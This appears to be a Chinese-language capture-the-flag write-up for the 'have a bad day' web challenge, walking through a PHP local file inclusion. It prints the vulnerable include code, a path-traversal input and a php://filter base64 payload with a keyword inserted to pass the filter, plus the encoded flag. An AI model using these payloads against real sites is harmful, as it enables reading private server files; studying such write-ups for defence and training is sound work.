開啟題目
問我have a bad day?
隨便點一個出現了
位址列出現了?category=woofers
然後點另外一個
位址列出現了?category=meowers
於是推測這個可能是開啟某個頁面
於是我嘗試用get傳參?category=flag.php
出現了只支援woofers和meowers也就是前面點的那個
然後我嘗試在woofers後面加個.php
結果出現了
說明它是你輸入一個然後他會自動補上一個.php
然後我找不到思路了,根據題目上面提供了github連結我找到了原始碼
<?php $file = $_GET['category']; if(isset($file)) { if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ include ($file . '.php'); } else{ echo "Sorry, we currently only support woofers and meowers."; } } ?>
然後我本來以為是用陣列來繞過strops函式,
結果出現了這個,失敗了。
然後我csdn上面看了下別人的wp。
說要用php偽協議讀取。
根據前面原始碼可知,要讀檔案必須要有woofers或者meowers
於是get傳參woofers/../flag
然後在原始碼裡面看到了
<!-- Can you read this flag? -->
要用php偽協議讀取flag
?category=php://filter/convert.base64-encode/resource=flag
結果出現了
Sorry, we currently only support woofers and meowers.
我想起來讀檔案裡面必須要有index,woofers之中的一個所以我改payload:
?category=php://filter/convert.base64-encode/woofers/resource=flag
然後得到了:
PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIGZsYWd7ZGY4YjY2NjEtZjNmMC00ODIyLWJmZDUtZWQxNWY1YWMwMzU2fQo/Pgo=
然後解個密就得到答案了。